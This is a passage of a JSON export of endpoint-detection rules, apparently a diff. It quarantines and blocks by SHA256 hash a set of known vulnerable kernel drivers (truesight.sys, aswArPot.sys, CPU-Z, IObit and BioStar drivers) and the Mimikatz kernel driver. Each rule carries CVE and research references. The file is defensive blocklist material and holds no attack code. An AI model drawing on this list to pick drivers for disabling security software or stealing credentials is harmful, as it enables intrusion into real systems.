+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458550Z",
+  "creation_date": "2026-03-23T11:45:30.458553Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458562Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ac341d36e1af8959de6410a976400ded8554f5ffb6a462a8080c38a0140f4d4",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1377f9e9-7926-50a3-8c26-b4a145a98ab8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818577Z",
+  "creation_date": "2026-03-23T11:45:30.818579Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6db7f2750e7438196ec906cc9eba540ef49ceca6dbd981038cef1dc50662a73",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "137fc969-2b90-5ac8-9203-7686497ae954",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488586Z",
+  "creation_date": "2026-03-23T11:45:31.488588Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5623f7e0ee46d7b957b837cca853cba4ccbd91c9ef614a063aa731f87f36c370",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1381530d-1548-583e-9b8f-6688a7a70576",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155327Z",
+  "creation_date": "2026-03-23T11:45:31.155329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb7d84d567204a528cafc729897d3a6a2ebcceb6cca287c585335069deee24c5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13917c01-d5fc-5581-9056-fece2e3731e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148078Z",
+  "creation_date": "2026-03-23T11:45:31.148080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce44334bec3fe07364bae329eaccf6d39124b7d5ef1485f596b1b1c94f4f182d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1396e8d3-1fa5-5fcc-9c12-d3f24d2d5216",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611464Z",
+  "creation_date": "2026-03-23T11:45:29.611466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611471Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02fcbc5372c9bf31903376bde11d558ab7c7f13bde005120e24bdb1aef5d0134",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13a5ba2c-788b-58b1-bfea-7fbf4ecad650",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983902Z",
+  "creation_date": "2026-03-23T11:45:29.983904Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983910Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097",
+  "comment": "Vulnerable Kernel Driver (aka iomem64.sys) [https://www.loldrivers.io/drivers/04d377f9-36e0-42a4-8d47-62232163dc68/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13ad4e8d-4f6e-5cdf-aec9-5d5c764563b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827630Z",
+  "creation_date": "2026-03-23T11:45:30.827632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827637Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c357ccc50a8511019d0beb93a910bdc3ea7ca5048e41f4f6cfca83cdd53aad9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13ae6c2e-50e5-5735-b522-9f33e0a477bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970547Z",
+  "creation_date": "2026-03-23T11:45:29.970549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a0931e16cf7b18d15579e36e0a69edad1717b07527b5407f2c105a2f554224b2",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13befc9e-fa56-5455-9497-1484c9a473bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827255Z",
+  "creation_date": "2026-03-23T11:45:30.827257Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5472de65d2797e341862f32e40c7e6bc71f0c481a3b7dfc3198b490d7d7427fb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13c075fb-5eac-503e-bf72-3780ce4ad39c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621089Z",
+  "creation_date": "2026-03-23T11:45:29.621091Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f375639a0df7fe51e5518cf87c3f513c55bc117db47d28da8c615642eb18bfa",
+  "comment": "CoreTemp Physmem dangerous drivers (aka ALSYSIO64.sys) [https://www.loldrivers.io/drivers/4d365dd0-34c3-492e-a2bd-c16266796ae5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13c236a2-a836-530b-82fa-28adad19b6b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154058Z",
+  "creation_date": "2026-03-23T11:45:31.154060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39088113e8638c131fe41496671223fcc3c8e08e1a1adc2e48b38b61d3712c19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13c6a3cb-2d76-5376-bc4e-9bf8600c5eb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474961Z",
+  "creation_date": "2026-03-23T11:45:31.474965Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e07521d559535a1ff648828c885d426cca5fa2b92d6ca2637d985a8fc8b5454d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13cd0717-534a-50ac-9363-23f9d830eca5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826973Z",
+  "creation_date": "2026-03-23T11:45:31.826975Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826981Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad9147b40c939210c0c4ee4f0127a7cb5ef3d6b768835f5be24cc178c8505a40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13cef623-5e33-5bfc-bfa0-2d7467f59ff6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970037Z",
+  "creation_date": "2026-03-23T11:45:29.970039Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970044Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a465cfa7a0bd76dfe8f261661d348e25d1a6a3975673336f90878618f2e6c21b",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13d71092-fe88-52d5-a1b0-2d5476d6506a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614683Z",
+  "creation_date": "2026-03-23T11:45:29.614685Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614690Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89b0017bc30cc026e32b758c66a1af88bd54c6a78e11ec2908ff854e00ac46be",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13d759f3-a0d4-529f-b2c3-36fc61e6ddd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456423Z",
+  "creation_date": "2026-03-23T11:45:30.456426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456435Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e41d4fd99252fcf9aea529b6e148b311aa26a4ab04f6b79cce4cd19c61db0c87",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13d900e8-b51b-5904-a13f-c1e52b3a623e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159140Z",
+  "creation_date": "2026-03-23T11:45:31.159142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6496601ffcf0b20318e0b30958b8d2034604884c8e4f418c1262e31637bff6d1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13e02b56-cce9-5d64-9bc8-58d126ff8b1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456694Z",
+  "creation_date": "2026-03-23T11:45:30.456697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a92d2736c8cd99195a1ef4d0d9a3412bee481acf585944e3b5946b465361a3e7",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13ed4d8b-d4b7-560a-8efb-1d38a806cdb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977333Z",
+  "creation_date": "2026-03-23T11:45:29.977336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977344Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "455bc98ba32adab8b47d2d89bdbadca4910f91c182ab2fc3211ba07d3784537b",
+  "comment": "Vulnerable Kernel Driver (aka netfilterdrv.sys) [https://www.loldrivers.io/drivers/f1dcb0e4-aa53-4e62-ab09-fb7b4a356916/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "13f2af91-cd0f-59c0-a9cf-e37ff2460399",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150176Z",
+  "creation_date": "2026-03-23T11:45:31.150178Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150184Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23641b9366567f6f8543853b84d8c97d818d848b056e776bb1cafcfecd22bc05",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1403247d-f2d5-5609-b5cb-26c195da03cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613928Z",
+  "creation_date": "2026-03-23T11:45:29.613930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3de51a3102db7297d96b4de5b60aca5f3a07e8577bbbed7f755f1de9a9c38e75",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "140d8201-8d8d-582f-9aff-25aafe5b9440",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606008Z",
+  "creation_date": "2026-03-23T11:45:29.606009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
